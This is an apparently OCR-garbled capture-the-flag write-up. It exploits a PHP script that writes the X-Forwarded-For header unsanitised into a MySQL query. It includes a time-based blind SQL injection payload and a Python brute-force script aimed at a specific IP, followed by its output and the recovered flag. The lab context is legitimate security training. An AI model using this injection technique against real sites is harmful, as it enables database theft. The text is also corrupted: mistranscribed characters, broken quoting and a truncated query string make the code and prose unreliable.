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<?php

error_reporting(0);

function getIp(){

$ip = '*;

if(isset($_SERVER[ '"HTTP_X_FORWARDED FOR'])){

$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; / /XFFAR5%
}else{

$ip = $_SERVER['REMOTE_ADDR']; / /% WIREMOTE_ADDR
}

$ip_arr = explode(',"', $ip); //iLE

return $ip_arr[0];

}
$host="1ocalhost";
$user="";

$pass=ll II;

$db=" II;

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();

echo 'your ip is :'.$ip;

$sql="insert into client_ip (ip) values ('$ip')"; //insert intoyENA
mysql_query($sql);

?>
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select case when (%) then A1 else % 2 end;

A TES BT, RATMAREE Fsubstr. substringT , ERATATLMER: from 1 for 1, BrLABRARATH
payloadii T :

127.0.0.1"'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else @ end))--

pythonfiii s :

# -*- coding:utf-8 -*-
import requests
import sys
# ETHEREE, SBTES ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else
url = "http://120.24.86.145:8002/web15/"
flag = "'
for i in range(1, 490):
print('IEZEREW: ', str(i))
for ch in range(32, 129):
if ch == 128:
sys.exit(@)
sqli = sql.format(i, chr(ch))
# print(sqli)
header = {
'X-Forwarded-For': sqli
}
try:
html = requests.get(url, headers=header, timeout=3)
except:
flag += chr(ch)
print(flag)
break



BN 1

C
EEREW: 2

cD

EfEREW: 3

CDB

EfEREW: 4

CDBF

EfEREMW: 5

CDBF1

EERN: 6

CDBF14

IEFEFEM: 28
CDBF14C9551D5BE5612F7BB5D286
IEFEFEM: 29
CDBF14C9551D5BE5612F7BB5D2867
EFEFEM: 30
CDBF14C9551D5BE5612F7BB5D28678
IEFEREW: 31
CDBF14C9551D5BE5612F7BB5D286785
IEFEREW: 32

CDBF14C9551D5BE5612F7BB5D2867853

flag
flag{cdbf14c9551d5be5612f7bb5d2867853}
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